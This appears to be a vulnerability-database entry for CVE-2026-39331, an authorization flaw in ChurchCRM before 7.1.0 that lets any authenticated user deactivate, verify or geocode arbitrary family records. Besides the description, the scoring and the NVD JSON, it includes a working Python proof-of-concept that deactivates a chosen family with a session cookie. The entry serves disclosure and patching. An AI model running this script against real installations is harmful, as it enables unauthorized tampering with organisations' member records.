CVE-2026-39331

Description

ChurchCRM is an open-source church management system. Prior to 7.1.0, an authenticated API user can modify any family record's state without proper authorization by simply changing the {familyId} parameter in requests, regardless of whether they possess the required EditRecords privilege. /family/{familyId}/verify, /family/{familyId}/verify/url, /family/{familyId}/verify/now, /family/{familyId}/activate/{status}, and /family/{familyId}/geocode lack role-based access control, allowing users to deactivate/reactivate arbitrary families, spam verification emails, and mark families as verified and trigger geocoding. This vulnerability is fixed in 7.1.0.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:churchcrm:churchcrm:*:*:*:*:*:*:*:* - VULNERABLE

ChurchCRM < 7.1.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def exploit(target_base_url, session_cookie, target_family_id):
    """
    PoC for CVE-2026-39331: Authenticated IDOR in ChurchCRM
    Demonstrates deactivating an arbitrary family record.
    """
    # Target endpoint to deactivate a family
    url = f"{target_base_url}/family/{target_family_id}/activate/deactivate"
    
    headers = {
        "Cookie": f"PHPSESSID={session_cookie}",
        "User-Agent": "CVE-2026-39331-PoC"
    }
    
    try:
        response = requests.post(url, headers=headers)
        if response.status_code == 200:
            return f"[+] Success: Family {target_family_id} deactivated via IDOR."
        else:
            return f"[-] Failed: Server returned status code {response.status_code}"
    except Exception as e:
        return f"[!] Error: {str(e)}"

# Example usage:
# print(exploit("http://target-churchcrm-url", "attacker_session_id", 123))

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39331
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39331
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39331/
[4] VulDB https://vuldb.com/cve/CVE-2026-39331
[5] https://github.com/ChurchCRM/CRM/security/advisories/GHSA-vwh8-x823-wjc5

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39331", "sourceIdentifier": "[email protected]", "published": "2026-04-07T18:16:44.530", "lastModified": "2026-04-10T20:58:16.847", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ChurchCRM is an open-source church management system. Prior to 7.1.0, an authenticated API user can modify any family record's state without proper authorization by simply changing the {familyId} parameter in requests, regardless of whether they possess the required EditRecords privilege. /family/{familyId}/verify, /family/{familyId}/verify/url, /family/{familyId}/verify/now, /family/{familyId}/activate/{status}, and /family/{familyId}/geocode lack role-based access control, allowing users to deactivate/reactivate arbitrary families, spam verification emails, and mark families as verified and trigger geocoding. This vulnerability is fixed in 7.1.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}, {"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:churchcrm:churchcrm:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.1.0", "matchCriteriaId": "BF846F61-0C1E-49AB-B691-A01937A6C24D"}]}]}], "references": [{"url": "https://github.com/ChurchCRM/CRM/security/advisories/GHSA-vwh8-x823-wjc5", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}